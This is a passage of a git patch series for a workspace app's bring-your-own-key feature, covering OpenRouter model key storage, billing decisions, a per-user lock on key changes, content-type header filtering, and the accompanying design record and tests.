Promise.all([ - gatherRecentConversations(userId), + gatherRecentConversations(userId, memberDrives), gatherRecentActivity(userId), ]); @@ -479,6 +483,13 @@ export async function runDiscoveryPasses(userId: string): Promise m.driveId === null) + ? [...new Set([...orgIds, ...(await orgIdsOfDrives(memberDrives.driveIds))])] + : orgIds; + // Run three focused passes in parallel. Each pass owns its field and stamps // it onto every claim it returns, so the model's own tag never decides which // page a claim lands in. Each pass reserves its own credits before its model @@ -492,7 +503,8 @@ export async function runDiscoveryPasses(userId: string): Promise candidate.orgIds)])]; const providerResult = await createAIProvider(userId, { selectedProvider: BACKGROUND_HEAVY_PROVIDER, selectedModel: BACKGROUND_HEAVY_MODEL, - }, { driveId: null }); + }, { driveId: null, keyOnlyContent: { orgIds: contentOrgIds } }); if (isProviderError(providerResult)) { loggers.api.error('Memory integration: provider error', { diff --git a/apps/web/src/lib/workflows/__tests__/calendar-trigger-executor.test.ts b/apps/web/src/lib/workflows/__tests__/calendar-trigger-executor.test.ts index 69e12bfef0..1467086377 100644 --- a/apps/web/src/lib/workflows/__tests__/calendar-trigger-executor.test.ts +++ b/apps/web/src/lib/workflows/__tests__/calendar-trigger-executor.test.ts @@ -97,6 +97,8 @@ vi.mock('@/lib/workflows/workflow-executor', () => ({ executeWorkflow: mockExecuteWorkflow, })); +// BYOK (ADR 0009): no run here is on the scheduler's own key (that gate is tested in workflow-credit-gate.test.ts). +vi.mock('@/lib/ai/core/model-key-source', () => ({ runsOnOwnKey: vi.fn(async () => false) })); vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: mockCanConsumeAI, })); diff --git a/apps/web/src/lib/workflows/__tests__/workflow-executor.test.ts b/apps/web/src/lib/workflows/__tests__/workflow-executor.test.ts index 2cd901ed24..0e410b9a02 100644 --- a/apps/web/src/lib/workflows/__tests__/workflow-executor.test.ts +++ b/apps/web/src/lib/workflows/__tests__/workflow-executor.test.ts @@ -368,7 +368,7 @@ describe('executeWorkflow', () => { const result = await executeWorkflow(input); - expect(modelEntitlement).toHaveBeenCalledWith({ userId: input.createdBy, provider: 'openai', model: 'openai/gpt-6-sol', spend: { kind: 'automation', driveId: input.driveId } }); + expect(modelEntitlement).toHaveBeenCalledWith({ userId: input.createdBy, provider: 'openai', model: 'openai/gpt-6-sol', spend: { kind: 'automation', driveId: input.driveId }, ownKey: false }); expect(result).toMatchObject({ success: false, error: expect.stringContaining('paid plans') }); }); diff --git a/apps/web/src/lib/workflows/workflow-executor.ts b/apps/web/src/lib/workflows/workflow-executor.ts index 13f0e3a60e..3438b90cf0 100644 --- a/apps/web/src/lib/workflows/workflow-executor.ts +++ b/apps/web/src/lib/workflows/workflow-executor.ts @@ -783,6 +783,7 @@ async function runExecution( provider: providerResult.provider, model: providerResult.modelName, spend: input.creditSpend.spend, + ownKey: providerResult.keySource === 'user_key', }); if (!entitlement.allowed) { return { success: false, durationMs: Date.now() - startTime, error: MODEL_ENTITLEMENT_MESSAGES[entitlement.reason] }; diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index 58cf2e6a63..a0a0e951bf 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -18,7 +18,7 @@ The options: ## Decision -1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, web variable or response carries it. +1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, response or later web request carries it. The one exception is ingress: during the submission request, the web process holds the key just long enough to validate its shape and hand it to `put` (`setModelKey`). It is never persisted there and never present at inference time. 2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it. 3. **New presenter `inference-executor`.** - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. @@ -51,30 +51,41 @@ The options: - the backend is OpenRouter; - the flag is on for the person; - the person has an active model key; - - **no org governs the call or its content**. + - **no org governs the call or its content.** That covers the call's drive, its content drives (an agent's home drive, its context drives) and derived content (memory distilled from an org, discovery over org conversations); + - **the person funds the call.** It runs in no drive, or in a drive they own, whose wallet is their own money. In someone else's drive that drive's wallet may pay, so the call stays on PageSpace's key; + - **the conversation has never run on PageSpace's key.** A managed turn may have read an org's content into the history, and every later turn replays that history. So a conversation can move from the person's key to PageSpace's, but never back. The signal is a managed `ai_usage_logs` row for the conversation. - Otherwise it returns `managed`. If the plane is not configured it returns `refused` (`byok_unavailable`). The credit gate, the provider factory and billing all act on that one decision. -9. **No silent fallback.** On `user_key`, the provider is OpenRouter with a plane-backed `fetch` and no key. Every refusal is answered as an OpenRouter-shaped error the person reads in chat. Nothing routes from there to PageSpace's key, and `OPENROUTER_BASE_URL` never applies. -10. **Billing.** - - A `user_key` call takes no credit hold and lifts the pro-tier model gate. The admin-only provider gate and org allowlists still apply. + Otherwise it returns `managed`. It returns `refused` (`byok_unavailable`) in two cases, both for a person with a key: the plane is not configured, or the flag lookup failed (the state is unknown, so the call is not quietly billed to PageSpace credits). The credit gate, the provider factory and billing all act on that one decision. If the provider that actually runs is not OpenRouter (the saved selection changed between the gate and the factory), the factory refuses the call. It never applies a `user_key` decision to another backend. +9. **On the person's key, no org content reaches the model.** These are enforced where the content is read, not by the decision alone: + - **Tools.** The tool boundary that already judges org model allowlists (POL-8, `actor-permissions.ts`) refuses every org drive on a `user_key` run, whatever the allowlist says. This covers page reads, drive listings and searches, and command pages injected into the prompt. Because of this, a turn on the person's key never adds org content to its conversation. + - **Assistant context.** No org drive in view, no org drive in the workspace summary or the agent list, and no memory distilled from an org (`memoryOrgIds`). + - **Background passes.** Memory discovery, integration and compaction, and chat compaction, decide on the orgs and drives their input carries. +10. **No silent fallback.** On `user_key`, the provider is OpenRouter with a plane-backed `fetch` and no key. Every refusal is answered as an OpenRouter-shaped error the person reads in chat. Nothing routes from there to PageSpace's key, and `OPENROUTER_BASE_URL` never applies. +11. **Billing.** + - A `user_key` call takes no credit hold and lifts the pro-tier model gate, ask_agent and workflows included. The admin-only provider gate and org allowlists still apply. + - Pulse decides whose key runs once it knows the drives and orgs its content comes from, then gates. On the person's key it takes no hold. + - An `outcome_unknown` answer (the call may have run and been billed by OpenRouter) uses a status the AI SDK does not retry, so it is never sent again automatically. - `ai_usage_logs.key_source = 'user_key'` is recorded, and the call is never settled, reconciled (`cost-reconcile`) or re-settled by the orphan sweep (`credit-backfill`). -11. **Feature flag.** +12. **Feature flag.** - `feature_flags` holds a flag's default and `feature_flag_user_overrides` holds per-person settings. The keys are fixed in code (`FEATURE_FLAG_KEYS`). - A flag nobody set is off. `byok_model_key` is off on-prem whatever is set. - Admins change flags in Admin → Feature Flags (audited `admin.settings.changed`). + - When the flag is switched off for someone, their key is no longer used, and Settings still offers to remove it. ## Invariants (each is a test) | # | Invariant | Test | |---|---|---| -| I1 | The key is never in the main DB, the web process or a response | `model-key/__tests__/route.test.ts` (canary), e2e canary sweep | +| I1 | The key is never in the main DB, a response or the web process (beyond the ingress request that hands it to the plane) | `model-key/__tests__/route.test.ts` (canary), e2e canary sweep | | I2 | One grant per upstream request; replay, changed body and other run are refused before sending | `executor/__tests__/inference-executor.test.ts` | | I3 | Only `https://openrouter.ai:443/api/v1/chat/completions`, read from the plane's binding | `inference-executor.test.ts`, `authorize-inference.test.ts`, `plane-inference-fetch.test.ts` | | I4 | The key is scrubbed from the stream, including when split across chunks | `inference/__tests__/stream-scrubber.test.ts`, e2e | | I5 | Audit `allowed` before send, outcome after the stream | `inference-executor.test.ts` | -| I6 | Org-governed calls never use a person's key | `model-key-source.test.ts` | -| I7 | A user-key call is never retried on PageSpace's key | `model-key-source.test.ts`, `plane-inference-fetch.test.ts` | +| I6 | Org-governed calls never use a person's key, and a run on their key reads no org drive | `model-key-source.test.ts`, `actor-permissions-byok.test.ts` | +| I7 | A user-key call is never retried on PageSpace's key, nor automatically re-sent when its outcome is unknown | `model-key-source.test.ts`, `plane-inference-fetch.test.ts` | | I8 | Spend is bounded (hourly and concurrent ceilings refuse) | `model-key.test.ts`, `authorize-inference.test.ts`, `inference-executor.test.ts` | +| I9 | A key is only ever the funder's: a call in someone else's drive, or funded by someone other than the caller, stays on PageSpace's key | `model-key-source.test.ts`, `image-generation-tools.test.ts`, `workflow-credit-gate.test.ts` | +| I10 | A conversation that ran on PageSpace's key never moves to the person's key | `model-key-source.test.ts` | ## Consequences @@ -83,3 +94,5 @@ The options: - Each agent step costs one grant, one nonce write, one `describe`, one Infisical `resolve` and two audit rows. Q2 in the plan asks whether to cache the resolved key for the grant's TTL. The default is no cache, measured on staging. - Voice (direct OpenAI) is out of scope. It keeps PageSpace's key and billing. - A per-org "let members use their own keys" policy is a later slice. I6 is unconditional until then. +- An org member using their key in a personal space has an assistant that cannot read their org drives, and conversations that touched PageSpace's key stay on it. That is the price of I6 and I10, and the Settings card says so. +- Residual risk: memory discovery records which orgs' drives it read (D-OW-62), but not which orgs a global conversation it read may have drawn on. Its own passes treat global conversations as touching every org the person is in. The bio, style and rules it writes are filtered for personal, portable facts, not project content. From 1072e6cb3d495d5eaec2b6bcec5376370c71d6c8 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 21:55:23 -0600 Subject: [PATCH 13/35] fix(byok): serialize model-key saves and removals, and report an unretired previous key A removal that ran while a save sat between its insert (credentialVersion 0) and its activation selected nothing, retired nothing and returned success; the save then activated the removed key. Overlapping saves could each leave a key active. setModelKey and removeModelKey now run under a per-user lock (`model-key:user:`) through the authority's existing `lockAccount`: the session-level Postgres advisory try-lock the account-change path already holds across its plane calls (describe -> rebind -> record). It is held on its own pooled connection, not inside a transaction, so no DB transaction stays open across the plane round trips. I chose it over a conditional activation/tombstone check because that would need a new per-user generation column (a schema change outside this package) to observe, while the lock gives the two properties directly: a removal that returns success ran with no save in progress and left no active key, and at most one save runs at a time. A change that finds the lock held changes nothing and returns `{ ok: false, reason: 'conflict' }`. Under the lock, a removal also retires model-key rows still at credentialVersion 0 (a crashed save's stranded row; plane.delete), since none can belong to a save in progress. setModelKey no longer ignores retire(old). When a previous key cannot be revoked, it returns the new variant `{ ok: false, reason: 'previous_key_active', account, verified }`: the new key is stored and is the one calls use, and the old key stays active (not marked revoked), so the next save or removal retries it. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../__tests__/model-key-authority.test.ts | 253 ++++++++++++++++++ .../account-authority-executor.ts | 136 ++++++---- 2 files changed, 342 insertions(+), 47 deletions(-) create mode 100644 packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts new file mode 100644 index 0000000000..e2e5f1e987 --- /dev/null +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -0,0 +1,253 @@ +/** + * ADR 0009 — `setModelKey` / `removeModelKey` on the real account authority, around an in-memory account table, + * a fake plane and an in-memory try-lock standing in for the main-DB advisory lock. Pinned here: + * - a removal while a save is still storing its key does not report success, and never leaves the key active; + * - two overlapping saves leave at most one active key; + * - a removal also erases a key a crashed save stranded at credentialVersion 0; + * - a save whose previous key could not be revoked says so (the new key stored, the old one still active), + * and the next removal retries it. + */ +import { describe, expect, it } from 'vitest'; +import { createHash, generateKeyPairSync, sign as nodeSign } from 'node:crypto'; +import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; +import type { HashBytes, PresenterKeyId, UserId } from '../grant'; +import type { AuthorityKey } from '../account-authority-key'; +import type { AgentAccountRepository } from '../agent-account-repository'; +import type { PlaneClient } from '../plane-client'; +import { createAccountAuthority, type AccountAuthorityDeps } from '../account-authority-executor'; +import { INFERENCE_ORIGIN, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_PROVIDER_SLUG } from '../inference/model-key'; +import { credentialActor } from '../../permissions/access-actor'; + +const sha3: HashBytes = (bytes) => createHash('sha3-256').update(bytes).digest('hex'); +const pair = generateKeyPairSync('ed25519'); +const authorityKey: AuthorityKey = { + keyId: 'k1', + publicKey: new Uint8Array(pair.publicKey.export({ type: 'spki', format: 'der' })), + sign: (message) => new Uint8Array(nodeSign(null, message, pair.privateKey)), +}; +const HUMAN = 'user_mk' as UserId; +const actor = credentialActor(HUMAN, null); +const keyA = `sk-or-v1-${'a'.repeat(40)}`; +const keyB = `sk-or-v1-${'b'.repeat(40)}`; + +type Gate = { readonly opened: Promise; readonly open: () => void }; +function gate(): Gate { + let open: () => void = () => undefined; + const opened = new Promise((done) => { + open = done; + }); + return { opened, open }; +} + +/** Let every pending microtask and immediate callback run. */ +const settle = () => new Promise((done) => setImmediate(done)); + +function harness() { + const rows = new Map(); + const held = new Set(); + let clock = 1_000_000; + let nextId = 0; + /** Hold the next `put` until opened. */ + let putGate: Gate | null = null; + /** `revoke` answers plane_unavailable while true. */ + let revokeDown = false; + const revoked: string[] = []; + const deleted: string[] = []; + + const active = () => [...rows.values()].filter((row) => row.status === 'active' && row.credentialVersion > 0).map((row) => row.id); + + const accounts = { + listForUser: async (userId: string) => [...rows.values()].filter((row) => row.ownerUserId === userId), + insert: async ({ draft, tenantId, approvalPolicy }) => { + nextId += 1; + clock += 1; + const row = { + id: `acct_${nextId}`, + kind: draft.kind, + ownerKind: 'user', + ownerUserId: HUMAN, + ownerAgentPageId: null, + ownerDriveId: null, + tenantId, + name: draft.name, + providerSlug: draft.providerSlug ?? null, + allowedOrigins: [...draft.allowedOrigins], + auxiliaryOrigins: [], + resourceRestrictions: {}, + approvalPolicy, + credentialVersion: 0, + policyVersion: 1, + acknowledgment: draft.acknowledgment, + sessionFormat: null, + sessionHttpEnabled: false, + status: 'active', + upstreamRevocation: null, + lastUsedAt: null, + createdAt: new Date(clock), + updatedAt: new Date(clock), + revokedAt: null, + } as unknown as AgentAccountRecord; + rows.set(row.id, row); + return row; + }, + setCredentialVersion: async ({ id, version }) => { + const row = rows.get(id); + if (row === undefined || row.credentialVersion !== 0) return false; + rows.set(id, { ...row, credentialVersion: version }); + return true; + }, + insertDelegation: async () => 'del_1' as never, + find: async (id: string) => rows.get(id) ?? null, + remove: async (id: string) => void rows.delete(id), + markRevoked: async ({ id, at }) => { + const row = rows.get(id); + if (row === undefined) return null; + const next = { ...row, status: 'revoked', revokedAt: new Date(at) } as AgentAccountRecord; + rows.set(id, next); + return next; + }, + // No delegation: the key check is refused before the plane, so `verified` is false and the flow goes on. + activeDelegation: async () => null, + } satisfies Partial; + + const plane = { + put: async () => { + const waiting = putGate; + putGate = null; + if (waiting !== null) await waiting.opened; + return { ok: true, version: 1 } as never; + }, + revoke: async ({ ref }) => { + if (revokeDown) return { ok: false, reason: 'plane_unavailable' }; + revoked.push(ref.accountId); + return { ok: true } as never; + }, + delete: async ({ ref }) => { + deleted.push(ref.accountId); + return { ok: true } as never; + }, + usage: async () => ({ ok: false, reason: 'plane_unavailable' }), + inferStream: async () => ({ ok: false, reason: 'plane_unavailable' }), + } satisfies Partial; + + const lockAccount: AccountAuthorityDeps['lockAccount'] = async (key, fn) => { + if (held.has(key)) return { acquired: false }; + held.add(key); + try { + return { acquired: true, result: await fn() }; + } finally { + held.delete(key); + } + }; + + const authority = createAccountAuthority({ + accounts: accounts as unknown as AgentAccountRepository, + facts: {} as never, + plane: plane as unknown as PlaneClient, + authorityKey, + presenterKeyId: 'pk_1' as PresenterKeyId, + registry: {} as never, + consentKey: null, + lockAccount, + hash: sha3, + now: () => clock, + }); + + return { + authority, + rows, + active, + revoked, + deleted, + holdNextPut: () => { + putGate = gate(); + return putGate; + }, + setRevokeDown: (down: boolean) => { + revokeDown = down; + }, + }; +} + +describe('setModelKey / removeModelKey', () => { + it('given a removal while a save is still storing its key, should not report success, and a removal after it leaves no key active', async () => { + const h = harness(); + const held = h.holdNextPut(); + const saving = h.authority.setModelKey({ actor, apiKey: keyA }); + await settle(); + const duringSave = await h.authority.removeModelKey({ actor }); + held.open(); + const saved = await saving; + const activeAfterSave = h.active().length; + const afterSave = await h.authority.removeModelKey({ actor }); + expect({ duringSave, saved: saved.ok, activeAfterSave, afterSave, activeAtEnd: h.active() }).toEqual({ + duringSave: { ok: false, reason: 'conflict' }, + saved: true, + activeAfterSave: 1, + afterSave: { ok: true, account: null }, + activeAtEnd: [], + }); + }); + + it('given two overlapping saves, should store one and refuse the other, leaving exactly one key active', async () => { + const h = harness(); + const held = h.holdNextPut(); + const first = h.authority.setModelKey({ actor, apiKey: keyA }); + await settle(); + const second = await h.authority.setModelKey({ actor, apiKey: keyB }); + held.open(); + expect({ first: (await first).ok, second, active: h.active().length }).toEqual({ first: true, second: { ok: false, reason: 'conflict' }, active: 1 }); + }); + + it('given a second save after the first, should retire the first key and leave only the new one active', async () => { + const h = harness(); + const first = await h.authority.setModelKey({ actor, apiKey: keyA }); + const second = await h.authority.setModelKey({ actor, apiKey: keyB }); + const firstId = first.ok ? first.account?.id : null; + const secondId = second.ok ? second.account?.id : null; + expect({ revoked: h.revoked, active: h.active() }).toEqual({ revoked: [firstId], active: [secondId] }); + }); + + it('given a key a crashed save stranded at credentialVersion 0, should erase it on removal', async () => { + const h = harness(); + h.rows.set('acct_stranded', { + id: 'acct_stranded', + kind: 'api_key', + ownerKind: 'user', + ownerUserId: HUMAN, + tenantId: `user:${HUMAN}`, + name: MODEL_KEY_ACCOUNT_NAME, + providerSlug: MODEL_KEY_PROVIDER_SLUG, + allowedOrigins: [INFERENCE_ORIGIN], + credentialVersion: 0, + status: 'active', + createdAt: new Date(1), + } as unknown as AgentAccountRecord); + const removed = await h.authority.removeModelKey({ actor }); + expect({ removed, deleted: h.deleted, status: h.rows.get('acct_stranded')?.status }).toEqual({ removed: { ok: true, account: null }, deleted: ['acct_stranded'], status: 'revoked' }); + }); + + it('given a previous key the plane cannot revoke, should report the new key stored and the previous one still active, and retire it on the next removal', async () => { + const h = harness(); + const first = await h.authority.setModelKey({ actor, apiKey: keyA }); + h.setRevokeDown(true); + const second = await h.authority.setModelKey({ actor, apiKey: keyB }); + const activeAfter = h.active(); + h.setRevokeDown(false); + const removed = await h.authority.removeModelKey({ actor }); + const firstId = first.ok ? first.account?.id : null; + expect({ + second: second.ok ? 'ok' : second.reason, + newKeyNamed: !second.ok && second.reason === 'previous_key_active' ? second.account.id : null, + activeAfter, + removed, + activeAtEnd: h.active(), + }).toEqual({ + second: 'previous_key_active', + newKeyNamed: 'acct_2', + activeAfter: [firstId, 'acct_2'], + removed: { ok: true, account: null }, + activeAtEnd: [], + }); + }); +}); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 6e6d0ad298..e63a65cb57 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -183,8 +183,17 @@ export type InferenceRefusal = { export type ModelKeyChangeResult = /** `verified`: OpenRouter accepted the key when it was added; false when the check could not run (the key is kept). */ | { readonly ok: true; readonly account: SafeAccount | null; readonly verified?: boolean } - /** `key_rejected`: OpenRouter refused the key; it was revoked at once and the previous key, if any, kept. */ - | { readonly ok: false; readonly reason: 'key_invalid' | 'key_rejected' | 'plane_unavailable' | 'store_refused' }; + /** + * `key_rejected`: OpenRouter refused the key; it was revoked at once and the previous key, if any, kept. + * `conflict`: another save or removal of this person's key is running; nothing was changed — retry after it. + */ + | { readonly ok: false; readonly reason: 'key_invalid' | 'key_rejected' | 'plane_unavailable' | 'store_refused' | 'conflict' } + /** + * The NEW key is stored and is the one calls use (`account`, `verified` as on success), but at least one + * previous key could not be revoked and is still active. Not a failure of the new key; the previous key + * stays listed as active, and the next save or removal retries its revocation. + */ + | { readonly ok: false; readonly reason: 'previous_key_active'; readonly account: SafeAccount; readonly verified: boolean }; export type AccountAuthority = { /** The person's active model key, as safe metadata (never the key); null when they have none. */ @@ -459,6 +468,27 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth .sort((a, b) => b.createdAt.getTime() - a.createdAt.getTime()); } + /** + * Every active model-key row of the person, ready or not. Read only under `lockModelKey`, where a row still at + * credentialVersion 0 cannot belong to a save in progress: it is one a crashed save stranded, and is retired too. + */ + async function modelKeyRows(userId: string): Promise { + const rows = await deps.accounts.listForUser(userId); + return rows.filter((row) => isModelKeyAccount(row) && row.ownerKind === 'user' && row.status === 'active'); + } + + /** + * Saves and removals of one person's model key run one at a time across every web replica: the same + * session-level advisory try-lock as an account change (`lockAccount`), on a per-user key, held across the + * plane calls. Without it a removal that ran while a save was between its insert (credentialVersion 0) and + * its activation retired nothing and reported success, then the save activated the removed key; two saves + * could each leave a key active. A change that finds the lock held is `conflict` and changes nothing. + */ + async function lockModelKey(userId: string, fn: () => Promise): Promise { + const locked = await deps.lockAccount(`model-key:user:${userId}`, fn); + return locked.acquired ? locked.result : { ok: false, reason: 'conflict' }; + } + async function retire(row: AgentAccountRecord): Promise { const ref = refOf(row); const done = row.credentialVersion === 0 ? await deps.plane.delete({ ref }) : await deps.plane.revoke({ ref }); @@ -513,6 +543,56 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth return started.ok ? started : { ok: false, reason: started.reason }; } + /** `setModelKey` under the person's model-key lock: store, activate and check the new key, then retire the ones it supersedes. */ + async function storeModelKey(userId: UserId, apiKey: string): Promise { + const previous = await modelKeyRows(userId); + const ownerRef: AccountOwnerRef = { kind: 'user', userId }; + const tenantId = deriveTenantId({ owner: ownerRef }); + const row = await deps.accounts.insert({ + draft: { kind: 'api_key', name: MODEL_KEY_ACCOUNT_NAME, allowedOrigins: [INFERENCE_ORIGIN], acknowledgment: 'dedicated_agent_account', providerSlug: MODEL_KEY_PROVIDER_SLUG }, + owner: ownerRef, + tenantId, + approvalPolicy: modelKeyApprovalPolicy({ approver: userId }), + }); + const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); + const put = await deps.plane.put({ + ref: { tenantId, accountId: row.id, kind: 'api_key' }, + material: { kind: 'api_key', material: { value: apiKey, placement: MODEL_KEY_PLACEMENT } }, + bindings: bindings as unknown as Record, + scope: scope as unknown as Record, + consenters: { kind: 'owner' }, + }); + if (!put.ok) { + // As createAccount: only a definite refusal stored nothing. An uncertain one keeps the row (revoked, so it + // is never used) for the plane's orphan sweep to reconcile, rather than orphaning material in the vault. + const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; + if (definite) await deps.accounts.remove(row.id); + else await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); + return { ok: false, reason: definite ? 'store_refused' : 'plane_unavailable' }; + } + await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); + // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. + await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); + const stored = await deps.accounts.find(row.id); + if (stored === null) return { ok: false, reason: 'store_refused' }; + // Check the key with OpenRouter through the plane (GET /api/v1/key: free, read-only), BEFORE the previous key + // is retired, so a mistyped key never replaces a working one. + const checked = await inference({ caller: { userId, sessionId: null, conversationId: `model-key-check-${row.id}` as ConversationId, runId: newId() as RunId }, body: '', call: 'key_info' }); + const status = checked.ok ? checked.response.status : null; + if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); + if (status === 401 || status === 403) { + await retire(stored); + return { ok: false, reason: 'key_rejected' }; + } + // A previous key that could not be revoked stays active, so the next save or removal retries it; the result + // says so rather than reporting a clean replacement. + let allRetired = true; + for (const old of previous) if (!(await retire(old))) allRetired = false; + const account = toSafeAccount({ row: stored }); + const verified = status !== null && status >= 200 && status < 300; + return allRetired ? { ok: true, account, verified } : { ok: false, reason: 'previous_key_active', account, verified }; + } + return { async getModelKey({ actor }) { const [newest] = await activeModelKeys(actor.userId); @@ -523,54 +603,16 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth const input = decideModelKeyInput({ apiKey }); if (!input.ok) return input; const userId = actor.userId as UserId; - const previous = await activeModelKeys(userId); - const ownerRef: AccountOwnerRef = { kind: 'user', userId }; - const tenantId = deriveTenantId({ owner: ownerRef }); - const row = await deps.accounts.insert({ - draft: { kind: 'api_key', name: MODEL_KEY_ACCOUNT_NAME, allowedOrigins: [INFERENCE_ORIGIN], acknowledgment: 'dedicated_agent_account', providerSlug: MODEL_KEY_PROVIDER_SLUG }, - owner: ownerRef, - tenantId, - approvalPolicy: modelKeyApprovalPolicy({ approver: userId }), - }); - const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); - const put = await deps.plane.put({ - ref: { tenantId, accountId: row.id, kind: 'api_key' }, - material: { kind: 'api_key', material: { value: input.apiKey, placement: MODEL_KEY_PLACEMENT } }, - bindings: bindings as unknown as Record, - scope: scope as unknown as Record, - consenters: { kind: 'owner' }, - }); - if (!put.ok) { - // As createAccount: only a definite refusal stored nothing. An uncertain one keeps the row (revoked, so it - // is never used) for the plane's orphan sweep to reconcile, rather than orphaning material in the vault. - const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; - if (definite) await deps.accounts.remove(row.id); - else await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); - return { ok: false, reason: definite ? 'store_refused' : 'plane_unavailable' }; - } - await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); - // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. - await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); - const stored = await deps.accounts.find(row.id); - if (stored === null) return { ok: false, reason: 'store_refused' }; - // Check the key with OpenRouter through the plane (GET /api/v1/key: free, read-only), BEFORE the previous key - // is retired, so a mistyped key never replaces a working one. - const checked = await inference({ caller: { userId, sessionId: null, conversationId: `model-key-check-${row.id}` as ConversationId, runId: newId() as RunId }, body: '', call: 'key_info' }); - const status = checked.ok ? checked.response.status : null; - if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); - if (status === 401 || status === 403) { - await retire(stored); - return { ok: false, reason: 'key_rejected' }; - } - for (const old of previous) await retire(old); - return { ok: true, account: toSafeAccount({ row: stored }), verified: status !== null && status >= 200 && status < 300 }; + return lockModelKey(userId, () => storeModelKey(userId, input.apiKey)); }, async removeModelKey({ actor }) { - for (const row of await activeModelKeys(actor.userId)) { - if (!(await retire(row))) return { ok: false, reason: 'plane_unavailable' }; - } - return { ok: true, account: null }; + return lockModelKey(actor.userId, async () => { + for (const row of await modelKeyRows(actor.userId)) { + if (!(await retire(row))) return { ok: false, reason: 'plane_unavailable' }; + } + return { ok: true, account: null }; + }); }, requestInference: (input) => inference(input), From 8e6cc04939660d4194ad71e957eac46f581cc40b Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 21:55:23 -0600 Subject: [PATCH 14/35] fix(byok): release a fixed content type for an upstream model answer The executor passed the upstream content-type through whenever it began with text/event-stream or application/json, so its parameters (`text/event-stream; token=`) reached the caller unscrubbed: the body scrubber never sees headers. It now matches the media type (case-insensitive, exact) and releases only the fixed value `text/event-stream`, `application/json` or `application/octet-stream`. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../__tests__/inference-executor.test.ts | 22 +++++++++++++++++-- .../executor/inference-executor.ts | 14 +++++++++--- 2 files changed, 31 insertions(+), 5 deletions(-) diff --git a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts index 84640c8171..e2981131c9 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts @@ -88,7 +88,13 @@ function grantFor(text: string, nonce = `n_${Math.random()}`, call: 'chat' | 'ke return { grant: verdict.grant, signature: signGrant({ grant: verdict.grant, key: authorityKey }) }; } -function harness({ chunks = [`data: {"echo":"${KEY.slice(0, 20)}`, `${KEY.slice(20)}"}\n\n`, 'data: [DONE]\n\n'], row = account, pinnedOrigin = INFERENCE_ORIGIN as string, reserves = true }: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean } = {}) { +function harness({ + chunks = [`data: {"echo":"${KEY.slice(0, 20)}`, `${KEY.slice(20)}"}\n\n`, 'data: [DONE]\n\n'], + row = account, + pinnedOrigin = INFERENCE_ORIGIN as string, + reserves = true, + contentType = 'text/event-stream', +}: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean; contentType?: string } = {}) { const sent: OutboundRequest[] = []; const audit: string[] = []; const finished: string[] = []; @@ -123,7 +129,7 @@ function harness({ chunks = [`data: {"echo":"${KEY.slice(0, 20)}`, `${KEY.slice( for (const chunk of chunks) yield new TextEncoder().encode(chunk); close('complete'); } - return { kind: 'response', status: 200, headers: [['content-type', 'text/event-stream'], 